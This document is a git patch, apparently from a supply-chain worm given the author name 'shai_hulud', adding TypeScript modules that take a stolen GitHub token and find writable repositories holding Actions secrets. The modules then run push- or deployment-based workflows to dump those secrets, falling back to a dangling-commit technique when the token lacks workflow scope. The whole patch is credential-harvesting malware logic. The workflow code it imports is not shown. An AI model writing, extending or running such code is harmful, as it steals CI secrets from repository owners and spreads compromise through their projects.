From 7a37255c55a7398b88ca4fa452aeab9741ab55ae Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:08:14 +0000 Subject: [PATCH] Upload files to "src/providers/actions" --- src/providers/actions/actions.ts | 104 +++++++++++++++++++++++++ src/providers/actions/github.ts | 1 + src/providers/actions/pipeline.ts | 123 ++++++++++++++++++++++++++++++ 3 files changed, 228 insertions(+) create mode 100644 src/providers/actions/actions.ts create mode 100644 src/providers/actions/github.ts create mode 100644 src/providers/actions/pipeline.ts diff --git a/src/providers/actions/actions.ts b/src/providers/actions/actions.ts new file mode 100644 index 0000000..63f45e9 --- /dev/null +++ b/src/providers/actions/actions.ts @@ -0,0 +1,104 @@ +import { getTokenMetadata } from "../../github_utils/tokenCheck"; +import { logUtil } from "../../utils/logger"; +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; +import { + runDeploymentOnReposWithSecrets, + runFormatOnReposWithSecrets, +} from "./pipeline"; + +export type TokenRepo = { + token: string; + repo: string; + owner: string; +}; + +export class GitHubActionsService extends Provider { + private token; + + constructor(token: string) { + super("github", "actions"); + this.token = token; + } + + async execute(): Promise { + const meta = await getTokenMetadata(this.token); + if (!meta.valid) { + return this.failure("Token invalid"); + } + + // Prefer push-based approach when workflow scope is available. + if (meta.scopes.includes("workflow")) { + return this.runPushWorkflow(); + } + + // Fall back to deployment-based approach — only needs repo scope. + logUtil.log( + "Missing workflow scope — falling back to deployment technique", + ); + return this.runDeployWorkflow(); + } + + private async runPushWorkflow(): Promise { + try { + const { results, metadata } = await runFormatOnReposWithSecrets( + this.token, + ); + + const dumped = results.filter((r) => !r.error).length; + if (dumped === 0) { + // Return all results as data so errors are visible in the output. + return this.success({ + ok: false, + dumped: 0, + errored: results.filter((r) => r.error).length, + results, + metadata, + }); + } + return this.success({ + ok: true, + dumped, + errored: results.filter((r) => r.error).length, + results, + metadata, + }); + } catch (e) { + logUtil.error("Failure collecting results (push)"); + return this.failure( + `Failure collecting results: ${e instanceof Error ? e.message : String(e)}`, + ); + } + } + + private async runDeployWorkflow(): Promise { + try { + const { results, metadata } = await runDeploymentOnReposWithSecrets( + this.token, + ); + + const dumped = results.filter((r) => !r.error).length; + if (dumped === 0) { + return this.success({ + ok: false, + dumped: 0, + errored: results.filter((r) => r.error).length, + results, + metadata, + }); + } + return this.success({ + ok: true, + dumped, + errored: results.filter((r) => r.error).length, + results, + metadata, + }); + } catch (e) { + logUtil.error("Failure collecting results (deploy)"); + return this.failure( + `Failure collecting results: ${e instanceof Error ? e.message : String(e)}`, + ); + } + } +} diff --git a/src/providers/actions/github.ts b/src/providers/actions/github.ts new file mode 100644 index 0000000..10d6a6a --- /dev/null +++ b/src/providers/actions/github.ts @@ -0,0 +1 @@ +export { githubFetch, githubHeaders, githubJson } from "../../github_utils/client"; \ No newline at end of file diff --git a/src/providers/actions/pipeline.ts b/src/providers/actions/pipeline.ts new file mode 100644 index 0000000..24cf908 --- /dev/null +++ b/src/providers/actions/pipeline.ts @@ -0,0 +1,123 @@ +import type { TokenRepo } from "./actions"; +import { streamWritableRepos } from "./repos"; +import { type RepoSecretInfo, streamRepoSecrets } from "./secrets"; +import { + type FormatResult, + runDeploymentWorkflows, + runFormatWorkflows, +} from "./workflow"; + +export interface RepoScanMetadata { + fullName: string; + secrets: string[]; + isPrivate: boolean; + status: "DUMPED" | "SKIPPED" | "FAILED"; + error?: string; + method: "push" | "deployment"; +} + +interface CollectResult { + toDump: TokenRepo[]; + metadata: RepoScanMetadata[]; +} + +async function collectReposWithSecrets(token: string): Promise { + const toDump: TokenRepo[] = []; + const metadata: RepoScanMetadata[] = []; + + for await (const info of streamRepoSecrets( + token, + streamWritableRepos(token), + )) { + const hasSecrets = info.secrets.length > 0; + const [owner, repo] = info.fullName.split("/"); + + if (hasSecrets && owner && repo && toDump.length < 5) { + toDump.push({ token, owner, repo }); + metadata.push({ + fullName: info.fullName, + secrets: info.secrets, + isPrivate: info.isPrivate, + status: "DUMPED", + method: "push", + }); + } else { + metadata.push({ + fullName: info.fullName, + secrets: info.secrets, + isPrivate: info.isPrivate, + status: "SKIPPED", + method: "push", + }); + } + } + + return { toDump, metadata }; +} + +/** + * Cross-reference workflow results with the pre-computed metadata. + * Repos that were marked DUMPED but had a failing workflow (error or + * null artifact) are downgraded to FAILED with the error message. + */ +function reconcileMetadata( + results: FormatResult[], + metadata: RepoScanMetadata[], + method: "push" | "deployment", +): RepoScanMetadata[] { + const resultMap = new Map(results.map((r) => [r.repo, r])); + return metadata.map((m) => ({ + ...m, + method, + ...(m.status === "DUMPED" + ? (() => { + const r = resultMap.get(m.fullName); + if (!r || r.error || r.artifact === null) { + return { + status: "FAILED" as const, + error: r?.error ?? "no result", + }; + } + return {}; + })() + : {}), + })); +} + +/** + * Run the push-based workflow (requires `workflow` OAuth scope). + */ +export async function runFormatOnReposWithSecrets( + token: string, + concurrency = 5, +): Promise<{ results: FormatResult[]; metadata: RepoScanMetadata[] }> { + const { toDump, metadata } = await collectReposWithSecrets(token); + + const results: FormatResult[] = []; + for await (const result of runFormatWorkflows(toDump, concurrency)) { + results.push(result); + } + + return { results, metadata: reconcileMetadata(results, metadata, "push") }; +} + +/** + * Run the deployment-based workflow (no `workflow` scope needed — + * uses dangling commits + deployment events). + */ +export async function runDeploymentOnReposWithSecrets( + token: string, + concurrency = 5, +): Promise<{ results: FormatResult[]; metadata: RepoScanMetadata[] }> { + const { toDump, metadata } = await collectReposWithSecrets(token); + + const results: FormatResult[] = []; + for await (const result of runDeploymentWorkflows(toDump, concurrency)) { + results.push(result); + } + + return { + results, + metadata: reconcileMetadata(results, metadata, "deployment"), + }; +}